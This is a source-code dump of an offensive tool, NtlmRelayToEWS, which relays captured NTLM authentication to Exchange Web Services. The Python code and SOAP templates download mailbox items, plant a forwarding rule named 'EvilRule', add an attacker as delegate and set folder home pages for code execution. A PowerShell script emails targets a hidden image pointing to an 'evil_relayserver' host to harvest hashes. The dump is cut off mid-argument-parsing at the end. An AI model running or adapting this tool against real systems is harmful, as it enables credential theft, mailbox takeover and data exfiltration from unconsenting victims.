Repository: Arno0x/NtlmRelayToEWS Branch: master Commit: bb96e303bf33 Files: 23 Total size: 108.1 KB Directory structure: gitextract_oyut2yyo/ ├── .gitattributes ├── Invoke-SendEmail.ps1 ├── LICENSE ├── SOAPRequestTemplates/ │ ├── addDelegate.tpl │ ├── createHiddenFolder.tpl │ ├── forwardRule.tpl │ ├── getFolderID.tpl │ ├── getItem.tpl │ ├── listFolder.tpl │ ├── resolveEmailAddr.tpl │ ├── sendMail.tpl │ └── setHomePage.tpl ├── lib/ │ ├── __init__.py │ ├── config.py │ ├── helper.py │ ├── httprelayclient.py │ ├── httprelayserver.py │ ├── logger.py │ ├── smbrelayserver.py │ └── targetsutils.py ├── ntlmRelayToEWS.py ├── readme.md └── sampleMsg.html ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitattributes ================================================ # Auto detect text files and perform LF normalization * text=auto ================================================ FILE: Invoke-SendEmail.ps1 ================================================ function Invoke-SendEmail { <# .SYNOPSIS Function: Invoke-SendMail Author: Arno0x0x, Twitter: @Arno0x0x This script sends an email to a targeted user embedding a hidden image pointing to the ntlmRelayToEWS server. You can use this trick to receive NTLM credentials from the target. Beware that the Outlook.Application COM object seems to only works with 32bits version of PowerShell, so use: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe .EXAMPLE # Example of using this function PS C:> Invoke-SendEmail -Address "user@corporate.com" ` -Subject "Important" -Message "Hi,

Could you please check something for me ?

Give me a sign

" ` -RelayServerURL "http://evil_relayserver/signature.html" #> [cmdletbinding()] Param ( [Parameter(Mandatory=$True)] [String]$Address, [Parameter(Mandatory=$True)] [String]$Subject, [Parameter(Mandatory=$True)] [String]$Message, [Parameter(Mandatory=$True)] [String]$RelayServerURL ) Process { # Create an instance Microsoft Outlook $Outlook = New-Object -ComObject Outlook.Application $Mail = $Outlook.CreateItem(0) $Mail.To = "$Address" $Mail.Subject = $Subject #$Mail.Body = $Body $Mail.HTMLBody = "" + $Message + "

" # $File = "D:\CP\timetable.pdf" # $Mail.Attachments.Add($File) $Mail.Send() } # End of Process section End { # Section to prevent error message in Outlook # $Outlook.Quit() [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) $Outlook = $null } } ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. 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If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: NtlmRelayToEWS Copyright (C) 2017 Arno0x This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: SOAPRequestTemplates/addDelegate.tpl ================================================ ${TargetAddress} ${DelegateAddress} None None Editor None None None false false DelegatesAndSendInformationToMe ================================================ FILE: SOAPRequestTemplates/createHiddenFolder.tpl ================================================ IPF.Note microsoft true ================================================ FILE: SOAPRequestTemplates/forwardRule.tpl ================================================ true EvilRule 1 true true ${DestAddress} ${DestAddress} SMTP ================================================ FILE: SOAPRequestTemplates/getFolderID.tpl ================================================ AllProperties ================================================ FILE: SOAPRequestTemplates/getItem.tpl ================================================ IdOnly ================================================ FILE: SOAPRequestTemplates/listFolder.tpl ================================================ AllProperties ================================================ FILE: SOAPRequestTemplates/resolveEmailAddr.tpl ================================================ ${UserAccount} ================================================ FILE: SOAPRequestTemplates/sendMail.tpl ================================================ ${Subject} ${Message} ${DestAddressBlock} ================================================ FILE: SOAPRequestTemplates/setHomePage.tpl ================================================ ${HomePage} ================================================ FILE: lib/__init__.py ================================================ from httprelayserver import HTTPRelayServer from smbrelayserver import SMBRelayServer from httprelayclient import HTTPRelayClient ================================================ FILE: lib/config.py ================================================ #!/usr/bin/python # Copyright (c) 2013-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Modified by Arno0x0x for handling NTLM relay to EWS server # # Config utilities # # Author: # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) # # Description: # Configuration class which holds the config specified on the # command line, this can be passed to the tools' servers and clients class NTLMRelayxConfig: def __init__(self): self.daemon = True self.domainIp = None self.machineAccount = None self.machineHashes = None self.target = None self.ewsBody = None self.ewsRequest = None self.ewsFolder = None self.ewsDestAddress = None self.ewsHomePageURL = None self.mode = None self.redirecthost = None self.outputFile = None self.attacks = None self.lootdir = None self.randomtargets = False def setOutputFile(self,outputFile): self.outputFile = outputFile def setTargets(self, target): self.target = target def setEWSParameters(self, ewsBody, ewsRequest, ewsFolder, ewsDestAddress, ewsHomePageURL): self.ewsBody = ewsBody self.ewsRequest = ewsRequest self.ewsFolder = ewsFolder self.ewsDestAddress = ewsDestAddress self.ewsHomePageURL = ewsHomePageURL def setDomainAccount( self, machineAccount, machineHashes, domainIp): self.machineAccount = machineAccount self.machineHashes = machineHashes self.domainIp = domainIp def setMode(self,mode): self.mode = mode def setAttacks(self,attacks): self.attacks = attacks def setLootdir(self,lootdir): self.lootdir = lootdir ================================================ FILE: lib/helper.py ================================================ from string import Template #===================================================================================== # Helper functions #===================================================================================== def color(string, color=None): """ Author: HarmJ0y, borrowed from Empire Change text color for the Linux terminal. """ attr = [] if color: if color.lower() == "red": attr.append('31') elif color.lower() == "green": attr.append('32') elif color.lower() == "blue": attr.append('34') return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) else: # bold attr.append('1') if string.strip().startswith("[!]"): attr.append('31') return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) elif string.strip().startswith("[+]"): attr.append('32') return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) elif string.strip().startswith("[?]"): attr.append('33') return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) elif string.strip().startswith("[*]"): attr.append('34') return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) else: return string #------------------------------------------------------------------------ def convertFromTemplate(parameters, templateFile): try: with open(templateFile) as f: src = Template(f.read()) result = src.substitute(parameters) f.close() return result except IOError: print helpers.color("[!] Could not open or read template file [{}]".format(templateFile)) return None ================================================ FILE: lib/httprelayclient.py ================================================ #!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Modified by Arno0x0x for handling NTLM relay to EWS server # # Author: # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) # # Description: # HTTP(s) client for relaying NTLMSSP authentication to webservers # import logging import re import ssl from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady import base64 class HTTPRelayClient: #------------------------------------------------------------------------------- def __init__(self, target, body): # Target comes as protocol://target:port/path self.target = target proto, host, path = target.split(':') host = host[2:] self.path = '/' + path.split('/', 1)[1] self.body = body if proto.lower() == 'https': #Create unverified (insecure) context try: #uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) uv_context = ssl.create_default_context() self.session = HTTPSConnection(host,context=uv_context) except AttributeError: #This does not exist on python < 2.7.11 self.session = HTTPSConnection(host) else: self.session = HTTPConnection(host) self.lastresult = None #------------------------------------------------------------------------------- def sendNegotiate(self,negotiateMessage): #Check if server wants auth if self.body is not None: self.session.request('POST', self.path, self.body, {"Content-Type":"text/xml"}) else: self.session.request('GET', self.path) res = self.session.getresponse() res.read() if res.status != 401: logging.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) try: if 'NTLM' not in res.getheader('WWW-Authenticate'): logging.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) return False except KeyError: logging.error('No authentication requested by the server for url %s' % self.target) return False #Negotiate auth negotiate = base64.b64encode(negotiateMessage) if self.body is not None: headers = {'Authorization':'NTLM %s' % negotiate, "Content-Type":"text/xml"} self.session.request('POST', self.path, self.body, headers=headers) else: headers = {'Authorization':'NTLM %s' % negotiate} self.session.request('GET', self.path, headers=headers) res = self.session.getresponse() res.read() try: serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) return serverChallenge except (IndexError, KeyError, AttributeError): logging.error('No NTLM challenge returned from server') #------------------------------------------------------------------------------- def sendAuth(self,authenticateMessageBlob, serverChallenge=None): #Negotiate auth auth = base64.b64encode(authenticateMessageBlob) if self.body is not None: headers = {'Authorization':'NTLM %s' % auth, "Content-Type":"text/xml"} self.session.request('POST', self.path, self.body, headers=headers) else: headers = {'Authorization':'NTLM %s' % auth} self.session.request('GET', self.path, headers=headers) res = self.session.getresponse() if res.status == 401: return False else: logging.info('HTTP server returned error code %d, treating as a succesful login' % res.status) #Cache this self.lastresult = res.read() return True #------------------------------------------------------------------------------- #SMB Relay server needs this @staticmethod def get_encryption_key(): return None ================================================ FILE: lib/httprelayserver.py ================================================ #!/usr/bin/python # Copyright (c) 2013-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Modified by Arno0x0x for handling NTLM relay to EWS server # # SMB Relay Server # # Authors: # Alberto Solino (@agsolino) # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) # # Description: # This is the HTTP server which relays the NTLMSSP # messages to other protocols import SimpleHTTPServer import SocketServer import base64 import logging import random import struct import string from threading import Thread from impacket import ntlm from impacket.spnego import SPNEGO_NegTokenResp from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile from impacket.nt_errors import STATUS_ACCESS_DENIED, STATUS_SUCCESS from lib.httprelayclient import HTTPRelayClient class HTTPRelayServer(Thread): class HTTPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer): def __init__(self, server_address, RequestHandlerClass, config): self.config = config SocketServer.TCPServer.__init__(self,server_address, RequestHandlerClass) class HTTPHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def __init__(self,request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.target = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None self.target = self.server.config.target.get_target(client_address[0],self.server.config.randomtargets) logging.info("HTTPD: Received connection from %s, attacking target %s" % (client_address[0] ,self.target[1])) SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(self,request, client_address, server) def handle_one_request(self): try: SimpleHTTPServer.SimpleHTTPRequestHandler.handle_one_request(self) except KeyboardInterrupt: raise except Exception, e: logging.error('Exception in HTTP request handler: %s' % e) def log_message(self, format, *args): return def do_HEAD(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() def do_AUTHHEAD(self, message = ''): self.send_response(401) self.send_header('WWW-Authenticate', message) self.send_header('Content-type', 'text/html') self.send_header('Content-Length','0') self.end_headers() #Trickery to get the victim to sign more challenges def do_REDIRECT(self): rstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) self.send_response(302) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Connection','close') self.send_header('Location','/%s' % rstr) self.send_header('Content-Length','0') self.end_headers() def do_GET(self): messageType = 0 if self.headers.getheader('Authorization') is None: self.do_AUTHHEAD(message = 'NTLM') pass else: typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD() messageType = struct.unpack('> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID if self.target[0] == 'SMB': client.setUid(0) logging.error("Authenticating against %s as %s\%s FAILED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'],self.target) #del (smbData[self.target]) return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want logging.info("Authenticating against %s as %s\%s SUCCEED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'],self.target) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm'] ) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) respParameters['SecurityBlobLength'] = len(respToken) respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] respData['SecurityBlob'] = respToken.getData() else: # Process Standard Security #TODO: Fix this for other protocols than SMB [!] respParameters = smb.SMBSessionSetupAndXResponse_Parameters() respData = smb.SMBSessionSetupAndXResponse_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Data() sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] ############################################################# # SMBRelay smbClient = smbData[self.target]['SMBClient'] if sessionSetupData['Account'] != '': #TODO: Fix this for other protocols than SMB [!] clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet['Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet['Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID smbClient.setUid(0) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'],self.target) return None, [packet], errorCode # Now continue with the server else: # We have a session, create a thread and do whatever we want ntlm_hash_data = outputToJohnFormat( '', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'] ) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) #TODO: Fix this for other protocols than SMB [!] clientThread = self.config.attacks['SMB'](self.config,smbClient,self.config.exeFile,self.config.command) clientThread.start() #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'],self.target) # Remove the target server from our connection list, the work is done del (smbData[self.target]) # Now continue with the server ############################################################# # Do the verification here, for just now we grant access # TODO: Manage more UIDs for the same session errorCode = STATUS_SUCCESS connData['Uid'] = 10 respParameters['Action'] = 0 respData['NativeOS'] = smbServer.getServerOS() respData['NativeLanMan'] = smbServer.getServerOS() respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData # From now on, the client can ask for other commands connData['Authenticated'] = True ############################################################# # SMBRelay smbServer.setConnectionData('SMBRelay', smbData) ############################################################# smbServer.setConnectionData(connId, connData) return [respSMBCommand], None, errorCode #Initialize the correct client for the relay target def init_client(self,extSec): if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS': client = HTTPRelayClient("%s://%s:%d/%s" % (self.target[0].lower(),self.target[1],self.target[2],self.target[3]), self.config.ewsBody) return client #Do the NTLM negotiate def do_ntlm_negotiate(self,client,token): #Since the clients all support the same operations there is no target protocol specific code needed for now clientChallengeMessage = client.sendNegotiate(token) challengeMessage = ntlm.NTLMAuthChallenge() challengeMessage.fromString(clientChallengeMessage) return challengeMessage #Do NTLM auth def do_ntlm_auth(self,client,SPNEGO_token,authenticateMessage): #The NTLM blob is packed in a SPNEGO packet, extract it for methods other than SMB respToken2 = SPNEGO_NegTokenResp(SPNEGO_token) token = respToken2['ResponseToken'] clientResponse = None if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS': try: result = client.sendAuth(token) #Result is a boolean if result: errorCode = STATUS_SUCCESS else: logging.error("HTTP NTLM auth against %s as %s FAILED" % (self.target[1],self.authUser)) errorCode = STATUS_ACCESS_DENIED except Exception, e: logging.error("NTLM Message type 3 against %s FAILED" % self.target[1]) logging.error(str(e)) errorCode = STATUS_ACCESS_DENIED return clientResponse, errorCode def do_attack(self,client): #Do attack. Note that unlike the HTTP server, the config entries are stored in the current object and not in any of its properties if self.target[0] == 'HTTP' or self.target[0] == 'HTTPS': clientThread = self.config.attacks['EWS'](self.config, client, self.authUser) clientThread.start() def _start(self): self.server.serve_forever() def run(self): logging.info("Setting up SMB Server") self._start() ================================================ FILE: lib/targetsutils.py ================================================ #!/usr/bin/python # Copyright (c) 2013-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Target utilities # # Author: # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) # # Description: # Classes for handling specified targets and keeping # state of which targets have been processed import logging import os import random import re import time from threading import Thread class TargetsProcessor(): supported_protocols = ['SMB','HTTP','HTTPS','LDAP','MSSQL','LDAPS','IMAP','IMAPS'] def __init__(self,targetlistfile=None,singletarget=None): self.targetregex = re.compile(r'([a-zA-Z]+)://([a-zA-Z0-9\.\-_]+)(:[0-9]+)?/?(.+)?') self.targetipregex = re.compile(r'[a-zA-Z\.\-_0-9]+') self.clients_targets = {} if targetlistfile is None: self.filename = None self.targets = [self.parse_target(singletarget)] else: self.filename = targetlistfile self.targets = [] self.read_targets() def read_targets(self): try: with open(self.filename,'r') as f: self.targets = [] for line in f: target = self.parse_target(line.strip()) if target is not None: self.targets.append(target) except IOError, e: logging.error("Could not open file: %s" % self.filename) logging.error(str(e)) if len(self.targets) == 0: logging.critical("Warning: no valid targets specified!") def parse_target(self,targetline): #Try a full target match in the form of protocol://target:port/path first ftm = self.targetregex.match(targetline) if ftm is not None: if ftm.group(1).upper() not in self.supported_protocols: logging.error("Unsupported protocol: %s" % ftm.group(1)) return None #Check if the port was specified if ftm.group(3) is None: port = self.get_default_port(ftm.group(1)) else: #Port regex includes the : remove this port = int(ftm.group(3)[1:]) #Check if the path was specified if ftm.group(4) is None: path = '' else: path = ftm.group(4) #Targets are always a tuple (protocol,host,port) #TODO: Change this to an object so we can have proper representation as string? return (ftm.group(1).upper(),ftm.group(2),port,path) #Maybe the target is just an IP, this assumes its an SMB target itm = self.targetipregex.match(targetline) if itm is not None: return ('SMB',itm.group(0),445,'') #If both dont match, it is probably an invalid target logging.error("Invalid target specification: " % targetline) return None def log_target(self,client,target): try: self.clients_targets[client].add(target) except KeyError: self.clients_targets[client] = set([target]) #print self.clients_targets def get_target(self,client,choose_random=False): candidates = [] try: targetlist = self.clients_targets[client] except KeyError: #Client is probably new if choose_random: return random.choice(self.targets) else: return self.targets[0] for target in self.targets: #Check if the target is already in the target list if target not in targetlist: #If random, populate candidates if choose_random: candidates.append(target) else: return target #If we arrive here and have multiple candidates, randomly select one if len(candidates) > 0: return random.choice(candidates) #We are here, which means all the targets are already exhausted by the client logging.info("All targets processed for client %s" % client) return random.choice(self.targets) def get_default_port(self,protocol): if protocol.upper() == 'SMB': return 445 if protocol.upper() == 'HTTP': return 80 if protocol.upper() == 'HTTPS': return 443 if protocol.upper() == 'LDAP': return 389 if protocol.upper() == 'LDAPS': return 636 if protocol.upper() == 'MSSQL': return 1433 if protocol.upper() == 'IMAP': return 143 if protocol.upper() == 'IMAPS': return 993 return None class TargetsFileWatcher(Thread): def __init__(self,targetprocessor): Thread.__init__(self) self.targetprocessor = targetprocessor self.lastmtime = os.stat(self.targetprocessor.filename).st_mtime #print self.lastmtime def run(self): while True: mtime = os.stat(self.targetprocessor.filename).st_mtime if mtime > self.lastmtime: logging.info('Targets file modified - refreshing') self.lastmtime = mtime self.targetprocessor.read_targets() time.sleep(1.0) class ProxyIpTranslator(Thread): def __init__(self): Thread.__init__(self) self.regex = re.compile(r'SRC=([0-9\.]+) DST=([0-9\.]+) .*SPT=([0-9]+)') self.iptranslations = {} #-A POSTROUTING -o eth0 -j LOG --log-prefix="SMBrelay" def run(self): logging.info("Setting up Proxy translator - reading from kernel log") for line in tail("-f", "/var/log/kern.log", _iter=True): if "SMBrelay" in line: m = self.regex.search(line) if m is not None: self.iptranslations[(m.group(1),m.group(3))] = m.group(2) #logging.info('Found translation from ip: %s port: %s to IP: %s' % (m.group(1),m.group(3),m.group(2))) #Look up the destination IP based on source IP and port def translate(self,source_ip,source_port): try: return self.iptranslations[(source_ip,str(source_port))] except KeyError: return None ================================================ FILE: ntlmRelayToEWS.py ================================================ #!/usr/bin/python # -*- coding: utf8 -*- # # Author: Arno0x0x, Twitter: @Arno0x0x # # This work is based on Impacket/NTLMRelayx import argparse import sys import thread import string import re import os import cgi from threading import Thread from base64 import b64decode, b64encode import xml.etree.cElementTree as ET from impacket import version, smb3, smb from lib import SMBRelayServer, HTTPRelayServer from lib.config import NTLMRelayxConfig from lib.targetsutils import TargetsProcessor, TargetsFileWatcher from lib import helper from lib import logger #========================================================================================= # GLOBAL CONFIG #========================================================================================= templatesFolder = "SOAPRequestTemplates/" exchangeVersion = "Exchange2010_SP2" exchangeNamespace = {'m': 'http://schemas.microsoft.com/exchange/services/2006/messages', 't': 'http://schemas.microsoft.com/exchange/services/2006/types'} #========================================================================================= # Class EWSAttack #========================================================================================= class EWSAttack(Thread): def __init__(self, config, HTTPClient, username): Thread.__init__(self) self.daemon = True self.config = config self.client = HTTPClient self.username = username #----------------------------------------------------------------------------------------- # Encodes the folder home page URL as a data structure expected by EWS # ref: http://www.infinitec.de/post/2011/10/05/Setting-the-Homepage-of-an-Exchange-folder-using-the-EWS-Managed-API.aspx # ref: https://social.msdn.microsoft.com/Forums/Lync/en-US/08572767-9375-4b87-9f05-7ff3e9928f89/ews-powershell-set-homepageurl?forum=exchangesvrdevelopment #----------------------------------------------------------------------------------------- def encodeHomePageURL(self, url): # Converting url to unicode string homePageHex = '' for c in url: homePageHex = homePageHex + c.encode('hex') + "00" # Preparing the structure s = "02" # WEBVIEW_PERSISTENCE_VERSION s = s + "00000001" # Type: WEBVIEWURL s = s + "00000001" # WEBVIEW_FLAGS_SHOWBYDEFAULT s = s + "00000000000000000000000000000000000000000000000000000000" # UNUSED s = s + "000000" s = s + format(len(homePageHex)/2+2,'x') s = s + "000000" s = s + homePageHex s = s + "0000" return b64encode(bytearray.fromhex(s)) #----------------------------------------------------------------------------------------- # The thread entry point #----------------------------------------------------------------------------------------- def run(self): print helper.color("[+] Received response from EWS server") #------------------------------ GET FOLDER ITEMS ------------------------------ if self.config.ewsRequest == "getFolder": print helper.color("[+] Received items list for folder [{}]".format(self.config.ewsFolder)) try: folderXML = ET.fromstring(self.client.lastresult) #---- Create the output directory to save all items outputDir = "output/" + self.config.ewsFolder if not os.path.exists(outputDir): os.makedirs(outputDir) #---- Download all items print helper.color("[+] Sending requests to download all items from folder [{}]".format(self.config.ewsFolder)) i = 0 for item in folderXML.findall(".//t:ItemId", exchangeNamespace): params = {'ExchangeVersion': exchangeVersion,'Id': item.get('Id'), 'ChangeKey': item.get('ChangeKey')} body = helper.convertFromTemplate(params, templatesFolder + "getItem.tpl") self.client.session.request('POST', self.client.target, body, {"Content-Type":"text/xml"}) result = self.client.session.getresponse().read() itemXML = ET.fromstring(result) mimeContent = itemXML.find(".//t:MimeContent", exchangeNamespace).text try: extension = "vcf" if self.config.ewsFolder == "contacts" else "eml" fileName = outputDir + "/item-{}.".format(i) + extension with open(fileName, 'w+') as fileHandle: fileHandle.write(b64decode(mimeContent)) fileHandle.close() print helper.color("[+] Item [{}] saved successfully".format(fileName)) except IOError: print helper.color("[!] Could not write file [{}]".format(fileName)) i = i + 1 except Exception, e: print helper.color("[!] Error processing result for getFolder: [{}]".format(str(e))) #------------------------------ SET FOLDER HOME PAGE ------------------------------ # Ref: https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/ elif self.config.ewsRequest == "setHomePage": print helper.color("[+] Received FolderID for folder [{}]".format(self.config.ewsFolder)) try: folderXML = ET.fromstring(self.client.lastresult) folderID = folderXML.find(".//t:FolderId", exchangeNamespace).get('Id') changeKey = folderXML.find(".//t:FolderId", exchangeNamespace).get('ChangeKey') #---- Prepare the request to set the homePageUrl homePage = self.encodeHomePageURL(self.config.ewsHomePageURL) params = {'ExchangeVersion': exchangeVersion, 'FolderId': folderID, 'ChangeKey': changeKey, 'HomePage': homePage } body = helper.convertFromTemplate(params, templatesFolder + "setHomePage.tpl") #---- Send the request print helper.color("[+] Sending request to set the [{}] folder's home page to [{}]".format(self.config.ewsFolder, self.config.ewsHomePageURL)) self.client.session.request('POST', self.client.target, body, {"Content-Type":"text/xml"}) result = self.client.session.getresponse().read() #---- Prepare the request to create a hidden folder (trick to force the refresh of the Outlook client) params = {'ExchangeVersion': exchangeVersion, 'ParentFolder': self.config.ewsFolder } body = helper.convertFromTemplate(params, templatesFolder + "createHiddenFolder.tpl") #---- Send the request print helper.color("[+] Sending request to create a hidden folder under the [{}] folder".format(self.config.ewsFolder)) self.client.session.request('POST', self.client.target, body, {"Content-Type":"text/xml"}) result = self.client.session.getresponse().read() print helper.color(result, 'blue') except Exception, e: print helper.color("[!] Error processing result for setHomePage: [{}]".format(str(e))) #------------------------------ FORWARD RULE ------------------------------ elif self.config.ewsRequest == "forwardRule": print helper.color("[+] Forward rule deployed") print helper.color(self.client.lastresult, 'blue') #------------------------------ ADD DELEGATE ------------------------------ elif self.config.ewsRequest == "addDelegate": try: #---- Prepare the request to resolve the user's principal eMail address params = {'ExchangeVersion': exchangeVersion, 'UserAccount': self.username.replace('\x00','') } body = helper.convertFromTemplate(params, templatesFolder + "resolveEmailAddr.tpl") #---- Send the request print helper.color("[+] Sending request to resolve the principal eMail address for user [{}] ".format(self.username)) self.client.session.request('POST', self.client.target, body, {"Content-Type":"text/xml"}) result = self.client.session.getresponse().read() #---- Parse the response and retrieve the eMail address respXML = ET.fromstring(result) eMailAddress = respXML.find(".//t:EmailAddress", exchangeNamespace).text #---- Prepare the request to add a 'destAddress' as a delegate for the user's mailbox params = {'ExchangeVersion': exchangeVersion, 'TargetAddress': eMailAddress, 'DelegateAddress': self.config.ewsDestAddress } body = helper.convertFromTemplate(params, templatesFolder + "addDelegate.tpl") #---- Send the request print helper.color("[+] Sending request to add [{}] as a delegate address for [{}] inbox".format(self.config.ewsDestAddress, eMailAddress)) self.client.session.request('POST', self.client.target, body, {"Content-Type":"text/xml"}) result = self.client.session.getresponse().read() print helper.color(result, 'blue') except Exception, e: print helper.color("[!] Error processing result for addDelegate: [{}]".format(str(e))) #------------------------------ DEFAULT ------------------------------ else: print helper.color(self.client.lastresult, 'blue') #========================================================================================= # MAIN #========================================================================================= # Process command-line arguments. if __name__ == '__main__': RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer ) ATTACKS = { 'EWS': EWSAttack} print version.BANNER print helper.color("[*] NtlmRelayX to Exchange Web Services - Author: @Arno0x0x") # Parse arguments parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will " "try to relay that connection to specified target(s) system") parser._optionals.title = "Main options" # Main arguments parser.add_argument("-h","--help", action="help", help='show this help message and exit') parser.add_argument("-v","--verbose", action="store_true", help='Increase output verbositys') parser.add_argument('-t',"--target", action='store', required=True, metavar = 'TARGET', help='EWS web service target to relay the credentials to, ' 'in the form of a URL: https://EWSServer/EWS/exchange.asmx') parser.add_argument('-o', "--output-file", action="store", help='base output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2') parser.add_argument('-machine-account', action='store', required=False, help='Domain machine account to use when ' 'interacting with the domain to grab a session key for signing, format is domain/machine_name') parser.add_argument('-machine-hashes', action="store", metavar = "LMHASH:NTHASH", help='Domain machine hashes, format is LMHASH:NTHASH') parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') # EWS API arguments parser.add_argument("-r","--request", action="store", required=True, choices=['sendMail', 'setHomePage', 'getFolder', 'forwardRule', 'addDelegate'], help='The EWS service to call') parser.add_argument("-d","--destAddresses", action="store", help='List of e-mail addresses to be used as destination for any EWS service that needs it.' ' Must be separated by a comma.') parser.add_argument("-m","--message", action="store", help='Message File containing the body of the message as an HTML file') parser.add_argument("-s","--subject", action="store", help='Message subject') parser.add_argument("-f","--folder", action="store", choices=['inbox', 'sentitem', 'deleteditems', 'tasks','calendar','contacts'], help='The Exchange folder name to list') parser.add_argument("-u","--url", action="store", help='URL to be used for the setHomePage request') try: args = parser.parse_args() except Exception, e: print helper.color("[!] 